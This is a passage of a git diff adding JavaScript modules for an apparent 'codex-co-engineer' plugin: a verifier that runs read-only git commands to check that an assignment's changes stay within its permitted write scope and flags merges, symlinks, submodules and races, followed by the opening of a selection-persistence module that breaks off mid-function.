'string' || header.length === 0 || header.charCodeAt(0) !== 0x3a) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const fields = header.slice(1).split(' '); + if (fields.length !== 5) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const [oldMode, newMode, oldSha, newSha, status] = fields; + if (!PRIVATE_MODE_PATTERN.test(oldMode) || !PRIVATE_MODE_PATTERN.test(newMode) + || !isSha40(oldSha) && oldSha !== ZERO_SHA + || !isSha40(newSha) && newSha !== ZERO_SHA + || !PRIVATE_DIFF_STATUS_PATTERN.test(status)) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + if (!isSha40(oldSha) && oldSha !== ZERO_SHA) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + if (!isSha40(newSha) && newSha !== ZERO_SHA) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const kind = status.charCodeAt(0); + let sourcePath = ''; + let destPath = ''; + if (isRenameOrCopyStatus(status)) { + if (index + 1 >= parts.length) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + sourcePath = parts[index]; + destPath = parts[index + 1]; + index += 2; + addUniquePath(paths, seen, sourcePath, path); + addUniquePath(paths, seen, destPath, path); + if (kind === 0x52) renameCount += 1; + else copyCount += 1; + } else { + if (index >= parts.length) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + destPath = parts[index]; + index += 1; + addUniquePath(paths, seen, destPath, path); + } + REFLECT_APPLY(ARRAY_PUSH, records, [capturedFreeze({ + old_mode: oldMode, + new_mode: newMode, + status, + source_path: sourcePath, + dest_path: destPath, + })]); + } + return { records, paths, seen, rename_count: renameCount, copy_count: copyCount }; +} + +function parseStatusPorcelain(stdout, path, paths, seen) { + const parts = splitNul(stdout); + let index = 0; + while (index < parts.length) { + const entry = parts[index]; + index += 1; + if (typeof entry !== 'string' || entry.length < 2) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const xy0 = entry.charCodeAt(0); + const xy1 = entry.charCodeAt(1); + if (xy0 > 0x7e || xy1 > 0x7e || xy0 < 0x20 || xy1 < 0x20) { + fail('hostile_name_denied', path, `${path} produced an unexpected git observation.`); + } + const renamed = xy0 === 0x52 || xy0 === 0x43 || xy1 === 0x52 || xy1 === 0x43; + if (entry.length === 2) { + if (!renamed || index + 1 >= parts.length) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + addUniquePath(paths, seen, parts[index], path); + addUniquePath(paths, seen, parts[index + 1], path); + index += 2; + continue; + } + if (entry.charCodeAt(2) !== 0x20) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + addUniquePath(paths, seen, entry.slice(3), path); + if (renamed) { + if (index >= parts.length) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + addUniquePath(paths, seen, parts[index], path); + index += 1; + } + } +} + +function parseLsFilesOthers(stdout, path, paths, seen) { + const parts = splitNul(stdout); + for (let index = 0; index < parts.length; index += 1) { + addUniquePath(paths, seen, parts[index], path); + } +} + +function parseLsFilesVerbose(stdout, path) { + const parts = splitNul(stdout); + for (let index = 0; index < parts.length; index += 1) { + const entry = parts[index]; + if (typeof entry !== 'string' || entry.length < 3 || entry.charCodeAt(1) !== 0x20) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const tag = entry.charCodeAt(0); + if (tag > 0x7e || tag < 0x20) { + fail('hostile_name_denied', path, `${path} produced an unexpected git observation.`); + } + if (tag !== 0x48) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + } +} + +function isSymlinkStat(metadata) { + return typeof metadata?.isSymbolicLink === 'function' && metadata.isSymbolicLink(); +} + +function isFileStat(metadata) { + return typeof metadata?.isFile === 'function' && metadata.isFile(); +} + +function isDirectoryStat(metadata) { + return typeof metadata?.isDirectory === 'function' && metadata.isDirectory(); +} + +function isInsideRepository(repositoryPath, target) { + const root = PATH_RESOLVE(repositoryPath); + const resolved = PATH_RESOLVE(target); + if (resolved === root) return true; + const prefix = root.endsWith('/') ? root : `${root}/`; + return resolved.startsWith(prefix); +} + +async function lstatProven(target, path) { + let first; + try { + first = await LSTAT(target); + } catch { + fail('observation_race', path, `${path} observed a git identity or worktree race.`); + } + let second; + try { + second = await LSTAT(target); + } catch { + fail('observation_race', path, `${path} observed a git identity or worktree race.`); + } + if (typeof first?.isSymbolicLink !== 'function' || typeof second?.isSymbolicLink !== 'function' + || typeof first.isFile !== 'function' || typeof second.isFile !== 'function' + || typeof first.isDirectory !== 'function' || typeof second.isDirectory !== 'function') { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + if (first.isSymbolicLink() !== second.isSymbolicLink() + || first.isFile() !== second.isFile() + || first.isDirectory() !== second.isDirectory() + || first.mode !== second.mode) { + fail('observation_race', path, `${path} observed a git identity or worktree race.`); + } + return first; +} + +async function proveUntrackedPaths(repositoryPath, paths, path) { + let symlink = false; + for (let index = 0; index < paths.length; index += 1) { + const relative = paths[index]; + const parts = relative.split('/'); + let current = PATH_RESOLVE(repositoryPath); + for (let partIndex = 0; partIndex < parts.length; partIndex += 1) { + const part = parts[partIndex]; + if (part.length === 0 || part === '.' || part === '..') { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + current = PATH_JOIN(current, part); + if (!PATH_IS_ABSOLUTE(current) || !isInsideRepository(repositoryPath, current)) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + const metadata = await lstatProven(current, path); + const last = partIndex === parts.length - 1; + if (isSymlinkStat(metadata)) { + if (!last) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + symlink = true; + continue; + } + if (last) { + if (!isFileStat(metadata) || isDirectoryStat(metadata)) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + } else if (!isDirectoryStat(metadata) || isFileStat(metadata)) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + } + } + return { symlink }; +} + +function parseRevListParents(stdout, path, expectedHead, allowEmpty) { + if (stdout.includes('\0') || stdout.includes('\r')) { + fail('git_execution_failed', path, `${path} produced extra git output.`); + } + let text = stdout; + if (text.endsWith('\n')) text = text.slice(0, -1); + if (text.length === 0) { + if (!allowEmpty) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + return { commits: [], parent_count: 1, merge: false }; + } + const lines = text.split('\n'); + if (lines.length > MAX_NEW_COMMITS) { + fail('bounds_exceeded', path, `${path} exceeds the new-commit cap.`); + } + let merge = false; + let parentCount = 1; + let sawHead = expectedHead === undefined; + for (let index = 0; index < lines.length; index += 1) { + const line = lines[index]; + const tokens = line.split(' '); + if (tokens.length < 1 || !isSha40(tokens[0])) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + for (let token = 1; token < tokens.length; token += 1) { + if (!isSha40(tokens[token])) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + } + const parents = tokens.length - 1; + if (tokens[0] === expectedHead) { + sawHead = true; + parentCount = parents; + } + if (parents > 1) merge = true; + } + if (expectedHead !== undefined && !sawHead && lines.length > 0) { + parentCount = lines[0].split(' ').length - 1; + } + return { commits: lines, parent_count: parentCount, merge }; +} + +function compileScopePatterns(patterns, path) { + const compiled = []; + for (let index = 0; index < patterns.length; index += 1) { + try { + REFLECT_APPLY(ARRAY_PUSH, compiled, [ + compileRepoGlob(patterns[index], `${path}[${index}]`), + ]); + } catch (error) { + if (error instanceof RepoPathMatcherError) { + fail('invalid_format', `${path}[${index}]`, + `${path}[${index}] is not a matchable repository glob.`); + } + throw error; + } + } + return capturedFreeze(compiled); +} + +function snapshotWriteScope(value, path, { minPatterns, maxPatterns }) { + assertWriteScopePatterns(value, path, { minPatterns, maxPatterns }); + const patterns = []; + for (let index = 0; index < value.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, patterns, [optOwn(value, String(index))]); + } + return { + patterns: capturedFreeze(patterns), + compiled: compileScopePatterns(patterns, path), + }; +} + +function pathMatchesAny(pathname, compiled, path) { + for (let index = 0; index < compiled.length; index += 1) { + try { + if (compiledRepoGlobMatchesPath(compiled[index], pathname, 'path') === true) { + return true; + } + } catch (error) { + if (error instanceof RepoPathMatcherError) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + throw error; + } + } + return false; +} + +function parseOtherWriteScopes(input, path, selfAssignmentId) { + const value = optOwn(input, 'other_write_scopes'); + assertNotProxy(value, path); + if (!ARRAY_IS_ARRAY(value)) { + fail('invalid_type', path, `${path} must be an array of trusted writer scopes.`); + } + if (value.length > MAX_OTHER_WRITE_SCOPES) { + fail('out_of_range', path, `${path} exceeds the other-writer cap.`); + } + const snapshots = []; + const seen = new Set(); + for (let index = 0; index < value.length; index += 1) { + const entryPath = `${path}[${index}]`; + const entry = optOwn(value, String(index)); + assertPlainObject(entry, 'invalid_type', entryPath, entryPath); + assertClosedKeySet(entry, SCOPE_OTHER_SCOPE_ALLOWED_KEYS, entryPath); + requiredKeys(entry, SCOPE_OTHER_SCOPE_ALLOWED_KEYS, entryPath); + const assignmentId = optOwn(entry, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${entryPath}.assignment_id`, + `${entryPath}.assignment_id violates the assignment-id grammar.`); + } + if (assignmentId === selfAssignmentId) { + fail('conflicting_id', `${entryPath}.assignment_id`, + `${entryPath}.assignment_id must not repeat the observed assignment.`); + } + if (seen.has(assignmentId)) { + fail('duplicate_id', `${entryPath}.assignment_id`, + `${entryPath}.assignment_id repeats an identity.`); + } + seen.add(assignmentId); + const scope = snapshotWriteScope( + optOwn(entry, 'write_scope'), `${entryPath}.write_scope`, + { minPatterns: 1, maxPatterns: SCOPE_MAX_PATTERNS }, + ); + REFLECT_APPLY(ARRAY_PUSH, snapshots, [capturedFreeze({ + assignment_id: assignmentId, + write_scope: scope.patterns, + compiled: scope.compiled, + })]); + } + return capturedFreeze(snapshots); +} + +function parseObservationMap(input, path) { + assertPlainObject(input, 'invalid_type', path, path); + assertClosedKeySet(input, GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, path); + requiredKeys(input, GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, path); + const values = {}; + for (let index = 0; index < GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS.length; index += 1) { + const key = GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS[index]; + values[key] = optOwn(input, key); + } + if (typeof values.repository_path !== 'string' || typeof values.git_dir !== 'string' + || typeof values.base_ref !== 'string' || typeof values.worktree_head_ref !== 'string' + || typeof values.base_object_type !== 'string' || typeof values.head_object_type !== 'string' + || typeof values.ancestor !== 'boolean' + || typeof values.duration_ms !== 'number' || !NUMBER_IS_SAFE_INTEGER(values.duration_ms)) { + fail('invalid_type', path, `${path} is not a trusted git identity observation.`); + } + if (!isSha40(values.base_sha) || !isSha40(values.head_sha) + || (values.merge_base_sha !== '' && !isSha40(values.merge_base_sha))) { + fail('invalid_format', path, `${path} is not a trusted git identity observation.`); + } + return freezeRecord(GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, values); +} + +function parseTrustedIdentity(input, path, request) { + assertPlainObject(input, 'invalid_type', path, path); + assertClosedKeySet(input, GIT_IDENTITY_RESULT_ALLOWED_KEYS, path); + requiredKeys(input, GIT_IDENTITY_RESULT_ALLOWED_KEYS, path); + const schema = optOwn(input, 'schema'); + const version = optOwn(input, 'version'); + const status = optOwn(input, 'status'); + if (schema !== GIT_IDENTITY_SCHEMA_ID || version !== GIT_IDENTITY_VERSION) { + fail('identity_mismatch', path, `${path} is not a trusted git identity snapshot.`); + } + let statusAllowed = false; + for (let index = 0; index < GIT_IDENTITY_STATUSES.length; index += 1) { + if (GIT_IDENTITY_STATUSES[index] === status) statusAllowed = true; + } + if (!statusAllowed) { + fail('invalid_format', `${path}.status`, `${path}.status is outside the closed identity vocabulary.`); + } + const factsInput = optOwn(input, 'facts'); + const discrepanciesInput = optOwn(input, 'discrepancies'); + if (!ARRAY_IS_ARRAY(factsInput) || !ARRAY_IS_ARRAY(discrepanciesInput)) { + fail('invalid_type', path, `${path} is not a trusted git identity snapshot.`); + } + const facts = []; + for (let index = 0; index < factsInput.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, facts, [ + parseVerifiedFactV1(optOwn(factsInput, String(index)), `${path}.facts[${index}]`), + ]); + } + const discrepancies = []; + for (let index = 0; index < discrepanciesInput.length; index += 1) { + REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ + parseEvidenceDiscrepancyV1( + optOwn(discrepanciesInput, String(index)), `${path}.discrepancies[${index}]`, + ), + ]); + } + if (status !== 'verified' || discrepancies.length !== 0) { + fail('unverified_identity', path, `${path} is not a verified git identity snapshot.`); + } + const observation = parseObservationMap(optOwn(input, 'observation'), `${path}.observation`); + if (observation.repository_path !== request.repository.path + || observation.base_sha !== request.repository.base_sha + || observation.head_sha !== request.candidate_head_sha + || observation.base_ref !== request.expected_base_ref + || observation.ancestor !== true + || observation.merge_base_sha !== request.repository.base_sha) { + fail('identity_mismatch', path, `${path} does not match the trusted identity request.`); + } + let sawIdentity = false; + let sawHead = false; + for (let index = 0; index < facts.length; index += 1) { + const fact = facts[index]; + if (fact.run_id !== request.run_id || fact.assignment_id !== request.assignment_id) { + fail('identity_mismatch', `${path}.facts[${index}]`, + `${path}.facts[${index}] identity does not match the trusted identity request.`); + } + if (fact.status !== 'verified' || fact.authority !== 'platform_git' + || fact.method !== 'ancestry_check') { + fail('unverified_identity', `${path}.facts[${index}]`, + `${path} is not a verified git identity snapshot.`); + } + if (fact.fact_kind === 'git_identity') { + if (fact.payload.base_sha !== request.repository.base_sha + || fact.payload.head_sha !== request.candidate_head_sha) { + fail('identity_mismatch', `${path}.facts[${index}]`, + `${path}.facts[${index}] does not match the trusted identity request.`); + } + sawIdentity = true; + } + if (fact.fact_kind === 'head_sha') { + if (fact.payload.sha !== request.candidate_head_sha) { + fail('identity_mismatch', `${path}.facts[${index}]`, + `${path}.facts[${index}] does not match the trusted identity request.`); + } + sawHead = true; + } + } + if (!sawIdentity || !sawHead) { + fail('unverified_identity', path, `${path} is not a verified git identity snapshot.`); + } + return freezeRecord(GIT_IDENTITY_RESULT_ALLOWED_KEYS, { + schema, + version, + status, + facts: capturedFreeze(facts), + discrepancies: capturedFreeze(discrepancies), + observation, + }); +} + +export function parseScopeVerifierRequestV1(input, path = 'scope') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + assertClosedKeySet(input, SCOPE_REQUEST_ALLOWED_KEYS, path); + assertNestedClosedKeys(input, 'identity_request', [ + 'repository', 'expected_base_ref', 'candidate_head_sha', + 'run_id', 'assignment_id', 'sequence', + ], path); + assertNestedClosedKeys(input, 'identity', GIT_IDENTITY_RESULT_ALLOWED_KEYS, path); + assertDirectJsonClosure(input, path); + requiredKeys(input, SCOPE_REQUEST_REQUIRED_KEYS, path); + const identityRequest = parseGitIdentityRequestV1( + optOwn(input, 'identity_request'), `${path}.identity_request`, + ); + const identity = parseTrustedIdentity( + optOwn(input, 'identity'), `${path}.identity`, identityRequest, + ); + const access = optOwn(input, 'access'); + if (!isKnownAccess(access)) { + fail('invalid_format', `${path}.access`, `${path}.access must be "writer" or "read_only".`); + } + const minPatterns = access === 'read_only' ? 0 : 1; + const maxPatterns = access === 'read_only' ? 0 : SCOPE_MAX_PATTERNS; + const writeScope = snapshotWriteScope( + optOwn(input, 'write_scope'), `${path}.write_scope`, { minPatterns, maxPatterns }, + ); + const otherWriteScopes = parseOtherWriteScopes( + input, `${path}.other_write_scopes`, identityRequest.assignment_id, + ); + return freezeRecord(capturedFreeze([ + ...SCOPE_REQUEST_ALLOWED_KEYS, 'compiled_write_scope', + ]), { + identity_request: identityRequest, + identity, + access, + write_scope: writeScope.patterns, + other_write_scopes: otherWriteScopes, + compiled_write_scope: writeScope.compiled, + }); +} + +function identityFingerprint(result) { + return digestCanonical({ + repository_path: result.observation.repository_path, + git_dir: result.observation.git_dir, + base_ref: result.observation.base_ref, + base_sha: result.observation.base_sha, + head_sha: result.observation.head_sha, + merge_base_sha: result.observation.merge_base_sha, + worktree_head_ref: result.observation.worktree_head_ref, + ancestor: result.observation.ancestor, + status: result.status, + }); +} + +function assertLiveIdentity(trusted, live, path) { + if (live.status !== 'verified' || live.discrepancies.length !== 0) { + fail('unverified_identity', path, `${path} is not a verified git identity snapshot.`); + } + if (identityFingerprint(trusted) !== identityFingerprint(live)) { + fail('observation_race', path, `${path} observed a git identity race.`); + } +} + +function classifyDiffRecords(records, path) { + let symlink = false; + let gitlink = false; + let typeChange = false; + for (let index = 0; index < records.length; index += 1) { + const record = records[index]; + const status0 = record.status.charCodeAt(0); + if (status0 === 0x54) typeChange = true; + if (status0 === 0x55 || status0 === 0x58 || status0 === 0x42) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + if (record.old_mode === MODE_SYMLINK || record.new_mode === MODE_SYMLINK) symlink = true; + if (record.old_mode === MODE_GITLINK || record.new_mode === MODE_GITLINK) gitlink = true; + const oldFile = record.old_mode !== MODE_MISSING && record.old_mode !== MODE_SYMLINK + && record.old_mode !== MODE_GITLINK; + const newFile = record.new_mode !== MODE_MISSING && record.new_mode !== MODE_SYMLINK + && record.new_mode !== MODE_GITLINK; + const oldSpecial = record.old_mode === MODE_SYMLINK || record.old_mode === MODE_GITLINK; + const newSpecial = record.new_mode === MODE_SYMLINK || record.new_mode === MODE_GITLINK; + if ((oldFile && newSpecial) || (oldSpecial && newFile) || (oldSpecial && newSpecial + && record.old_mode !== record.new_mode)) { + typeChange = true; + } + } + return { symlink, gitlink, type_change: typeChange }; +} + +async function observeScope(session, flags, repositoryPath, baseSha, headSha, path) { + const sameCommit = baseSha === headSha; + const diffText = await gitRequired(session, [ + ...flags, 'diff-tree', '--no-commit-id', '--raw', '--full-index', '-z', '-r', + '-M', '-C', '--find-copies-harder', '--end-of-options', baseSha, headSha, + ], `${path}.diff`); + const parsed = parseDiffTreeRaw(diffText, `${path}.diff`); + const statusText = await gitRequired(session, [ + ...flags, 'status', '--porcelain=v1', '-z', '--untracked-files=all', + '--ignored', '--ignore-submodules=none', + ], `${path}.status`); + parseStatusPorcelain(statusText, `${path}.status`, parsed.paths, parsed.seen); + const untrackedText = await gitRequired(session, [ + ...flags, 'ls-files', '-z', '--others', '--exclude-standard', + ], `${path}.untracked`); + const untrackedPaths = []; + const untrackedSeen = new Set(); + parseLsFilesOthers(untrackedText, `${path}.untracked`, parsed.paths, parsed.seen); + parseLsFilesOthers(untrackedText, `${path}.untracked`, untrackedPaths, untrackedSeen); + const ignoredText = await gitRequired(session, [ + ...flags, 'ls-files', '-z', '--others', '--ignored', '--exclude-standard', + ], `${path}.ignored`); + parseLsFilesOthers(ignoredText, `${path}.ignored`, parsed.paths, parsed.seen); + parseLsFilesOthers(ignoredText, `${path}.ignored`, untrackedPaths, untrackedSeen); + const verboseText = await gitRequired(session, [ + ...flags, 'ls-files', '-v', '-z', + ], `${path}.index`); + parseLsFilesVerbose(verboseText, `${path}.index`); + const proof = await proveUntrackedPaths(repositoryPath, untrackedPaths, `${path}.untracked`); + const headParentText = await gitRequired(session, [ + ...flags, 'rev-list', '--parents', '--max-count=1', headSha, + ], `${path}.head_parents`); + const headParent = parseRevListParents( + headParentText, `${path}.head_parents`, headSha, false, + ); + let merge = headParent.merge === true || headParent.parent_count > 1; + let newCommitCount = 0; + let rangeCommits = []; + if (!sameCommit) { + const rangeText = await gitRequired(session, [ + ...flags, 'rev-list', '--parents', `--max-count=${MAX_NEW_COMMITS + 1}`, + headSha, '--not', baseSha, + ], `${path}.parents`); + const range = parseRevListParents(rangeText, `${path}.parents`, headSha, false); + merge = merge || range.merge === true || range.parent_count > 1; + newCommitCount = range.commits.length; + rangeCommits = range.commits; + } + REFLECT_APPLY(ARRAY_SORT, parsed.paths, [(left, right) => { + if (left === right) return 0; + return left < right ? -1 : 1; + }]); + const pathSetDigest = digestCanonical(parsed.paths); + const fingerprint = digestCanonical({ + diff: digestBytes(diffText), + status: digestBytes(statusText), + untracked: digestBytes(untrackedText), + ignored: digestBytes(ignoredText), + index_flags: digestBytes(verboseText), + head_parents: headParent.commits, + parents: rangeCommits, + path_set_digest: pathSetDigest, + }); + const operations = classifyDiffRecords(parsed.records, `${path}.diff`); + return { + paths: capturedFreeze(parsed.paths), + path_count: parsed.paths.length, + path_set_digest: pathSetDigest, + rename_count: parsed.rename_count, + copy_count: parsed.copy_count, + parent_count: headParent.parent_count, + new_commit_count: newCommitCount, + merge, + dirty: statusText.length > 0 || untrackedText.length > 0 || ignoredText.length > 0, + symlink: operations.symlink === true || proof.symlink === true, + gitlink: operations.gitlink, + type_change: operations.type_change, + fingerprint, + }; +} + +function durationOf(session, path) { + assertDeadline(session, path); + return MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); +} + +function emitFact(kind, method, request, inputDigest, outputDigest, status, payload, durationMs) { + const boundedDuration = durationMs > MAX_DURATION_MS ? MAX_DURATION_MS : durationMs; + return parseVerifiedFactV1({ + fact_id: kind === 'git_diff' ? 'git-diff' : 'head-sha', + fact_kind: kind, + status, + code: 'host_observed', + run_id: request.identity_request.run_id, + assignment_id: request.identity_request.assignment_id, + sequence: kind === 'git_diff' ? request.identity_request.sequence + : request.identity_request.sequence + 1, + subject: kind === 'git_diff' ? 'diff' : 'head', + authority: 'platform_git', + method, + input_digest: inputDigest, + output_digest: outputDigest, + exit_code: null, + duration_ms: boundedDuration, + truncated: false, + payload, + artifact_digests: [], + }); +} + +function emitDiscrepancy(id, kind, code, request, factIds, sequence) { + return parseEvidenceDiscrepancyV1({ + discrepancy_id: id, + discrepancy_kind: kind, + status: 'recorded', + code, + run_id: request.identity_request.run_id, + assignment_id: request.identity_request.assignment_id, + sequence, + claim_ids: [], + fact_ids: factIds, + artifact_digests: [], + }); +} + +export async function verifyScopeV1(input, options) { + const request = parseScopeVerifierRequestV1(input); + const parsedOptions = parseOptions(options); + const isolatedSpawn = wrapIsolatedSpawn(parsedOptions.spawn); + const isolatedOptions = freezeRecord(SCOPE_OPTIONS_ALLOWED_KEYS, { spawn: isolatedSpawn }); + const pathLabel = 'scope'; + const livePre = await verifyGitIdentityV1(request.identity_request, isolatedOptions); + assertLiveIdentity(request.identity, livePre, `${pathLabel}.identity`); + const session = createSession(isolatedSpawn); + const repositoryPath = livePre.observation.repository_path; + const gitDir = livePre.observation.git_dir; + const flags = repoFlags(repositoryPath, gitDir); + const pre = await observeScope( + session, flags, repositoryPath, livePre.observation.base_sha, livePre.observation.head_sha, + pathLabel, + ); + const livePost = await verifyGitIdentityV1(request.identity_request, isolatedOptions); + assertLiveIdentity(request.identity, livePost, `${pathLabel}.identity`); + const post = await observeScope( + session, flags, repositoryPath, livePost.observation.base_sha, livePost.observation.head_sha, + pathLabel, + ); + if (pre.fingerprint !== post.fingerprint + || identityFingerprint(livePre) !== identityFingerprint(livePost)) { + fail('observation_race', pathLabel, `${pathLabel} observed a git identity or worktree race.`); + } + const durationMs = durationOf(session, pathLabel); + const observation = freezeRecord(SCOPE_OBSERVATION_ALLOWED_KEYS, { + repository_path: repositoryPath, + git_dir: gitDir, + base_sha: livePost.observation.base_sha, + head_sha: livePost.observation.head_sha, + access: request.access, + parent_count: post.parent_count, + new_commit_count: post.new_commit_count, + path_count: post.path_count, + path_set_digest: post.path_set_digest, + rename_count: post.rename_count, + copy_count: post.copy_count, + dirty: post.dirty, + duration_ms: durationMs, + }); + const inputDigest = digestCanonical({ + repository: request.identity_request.repository, + expected_base_ref: request.identity_request.expected_base_ref, + candidate_head_sha: request.identity_request.candidate_head_sha, + access: request.access, + write_scope: request.write_scope, + }); + const outputDigest = digestCanonical(observation); + if (!PRIVATE_SHA256_PATTERN.test(inputDigest) || !PRIVATE_SHA256_PATTERN.test(outputDigest)) { + fail('git_execution_failed', pathLabel, `${pathLabel} could not bind observation digests.`); + } + let ownedMismatch = false; + let overlap = false; + if (request.access === 'writer') { + for (let index = 0; index < post.paths.length; index += 1) { + const pathname = post.paths[index]; + if (!pathMatchesAny(pathname, request.compiled_write_scope, `${pathLabel}.diff`)) { + ownedMismatch = true; + } + for (let other = 0; other < request.other_write_scopes.length; other += 1) { + if (pathMatchesAny( + pathname, request.other_write_scopes[other].compiled, `${pathLabel}.diff`, + )) { + overlap = true; + } + } + } + } + const discrepancies = []; + const pushDiscrepancy = (id, kind, code, factIds) => { + const sequence = request.identity_request.sequence + discrepancies.length; + if (sequence > MAX_SEQUENCE) return; + try { + REFLECT_APPLY(ARRAY_PUSH, discrepancies, [ + emitDiscrepancy(id, kind, code, request, factIds, sequence), + ]); + } catch (error) { + if (error instanceof RunContractV1Error && error.code === 'out_of_range') return; + throw error; + } + }; + const diffFactId = 'git-diff'; + const headFactId = 'head-sha'; + if (post.merge) { + pushDiscrepancy('merge-commit', 'integrity', 'artifact_integrity_failure', [headFactId]); + } + if (request.access === 'read_only' && (post.path_count > 0 || post.dirty + || livePost.observation.head_sha !== livePost.observation.base_sha)) { + pushDiscrepancy('read-only-mutation', 'integrity', 'artifact_integrity_failure', [diffFactId]); + } + if (ownedMismatch) { + pushDiscrepancy('scope-mismatch', 'integrity', 'artifact_integrity_failure', [diffFactId]); + } + if (overlap) { + pushDiscrepancy('scope-overlap', 'integrity', 'artifact_integrity_failure', [diffFactId]); + } + if (post.symlink) { + pushDiscrepancy('symlink-change', 'security', 'security_boundary', [diffFactId]); + } + if (post.gitlink) { + pushDiscrepancy('submodule-change', 'security', 'security_boundary', [diffFactId]); + } + if (post.type_change) { + pushDiscrepancy('type-change', 'security', 'security_boundary', [diffFactId]); + } + const verified = discrepancies.length === 0 + && (request.access !== 'read_only' || post.path_count === 0) + && (request.access !== 'writer' || !ownedMismatch) + && post.merge !== true; + const status = verified ? 'verified' : 'failed'; + const diffMethod = request.access === 'read_only' ? 'read_only_no_changes' : 'scope_match'; + const facts = capturedFreeze([ + emitFact( + 'git_diff', diffMethod, request, inputDigest, outputDigest, status, + { path_count: post.path_count, path_set_digest: post.path_set_digest }, + durationMs, + ), + emitFact( + 'head_sha', 'merge_commit_absence', request, inputDigest, outputDigest, status, + { sha: request.identity_request.candidate_head_sha }, + durationMs, + ), + ]); + const result = freezeRecord(SCOPE_RESULT_ALLOWED_KEYS, { + schema: SCOPE_VERIFIER_SCHEMA_ID, + version: SCOPE_VERIFIER_VERSION, + status, + facts, + discrepancies: capturedFreeze(discrepancies), + observation, + }); + assertDeadline(session, pathLabel); + return result; +} + +OBJECT_FREEZE(SCOPE_VERIFIER_ERROR_CODES); diff --git a/plugins/codex-co-engineer/mcp/v3/selection-persistence.mjs b/plugins/codex-co-engineer/mcp/v3/selection-persistence.mjs new file mode 100644 index 0000000..779b792 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/selection-persistence.mjs @@ -0,0 +1,471 @@ +// Ask-once selection persistence facade (P27). +// +// Additive v3 module. It derives the exact P05 SelectionRequestV1 from +// immutable manifest/profile/availability/capability inputs, persists that +// one question batch through an already-submitted R24A aggregate run at +// submitted@0, and later accepts one complete structured reply bound to the +// exact run/request/digest. Persistence uses only accepted R24A handle +// methods `commitSelectionRequest`, `getCoordination`, and +// `commitSelectionResolution`. After a successful or identical reply it +// verifies the accepted R25B `bindAggregateResolution` at +// resolution_ready@2 and returns a detached in-memory plan. Direct-plan +// runs fail `no_selection_required` and never call `commitResolvedPlan`. +// This module does not import or invoke provider, supervisor, workspace, +// server, scheduler, or P25 event surfaces. The returned question is +// presentation data, not an AttentionBatchV1. + +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify, runManifestDigestV1 } from './identity.mjs'; +import { + assertBoundDigest, + snapshotRecord, + validateRunIdentityV1, +} from './protected-identity.mjs'; +import { + MAX_SELECTION_QUESTIONS, + classifySelectionAnswersV1, + resolveRunSelectionV1, + resolveSelectionAnswersV1, + selectionRequestIdentity, + validateSelectionRequestV1, +} from './resolver.mjs'; +import { bindAggregateResolution } from './run-journal.mjs'; +import { MAX_ASSIGNMENTS, assertRunId } from './run-manifest.mjs'; +import { + AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + AGGREGATE_SELECTION_REPLY_SCHEMA_ID, +} from './aggregate-run-anchor.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const SELECTION_QUESTION_BATCH_RECEIPT_SCHEMA_ID = + 'codex-co-engineer.selection-question-batch-receipt.v1'; +export const SELECTION_REPLY_RECEIPT_SCHEMA_ID = + 'codex-co-engineer.selection-reply-receipt.v1'; + +export const SELECTION_PERSISTENCE_INPUT_KEYS = capturedFreeze([ + 'anchor', 'availability', 'capabilities', 'identity', 'manifest', 'profiles', +]); +export const SELECTION_REPLY_INPUT_KEYS = capturedFreeze([ + ...SELECTION_PERSISTENCE_INPUT_KEYS, 'reply', +]); +export const SELECTION_STRUCTURED_REPLY_KEYS = capturedFreeze([ + 'answers', 'digest', 'request_id', 'run_id', +]); + +const PERSIST_REQUIRED_KEYS = capturedFreeze([ + 'anchor', 'availability', 'capabilities', 'identity', 'manifest', +]); +const REPLY_REQUIRED_KEYS = capturedFreeze([ + ...PERSIST_REQUIRED_KEYS, 'reply', +]); +const JSON_INPUT_KEYS = capturedFreeze([ + 'availability', 'capabilities', 'identity', 'manifest', 'profiles', 'reply', +]); + +const TRUSTED_ANCHOR_METHODS = capturedFreeze([ + 'commitSelectionRequest', + 'commitSelectionResolution', + 'getByRunId', + 'getCoordination', +]); + +function assertTrustedAnchor(anchor) { + assertNotProxy(anchor, 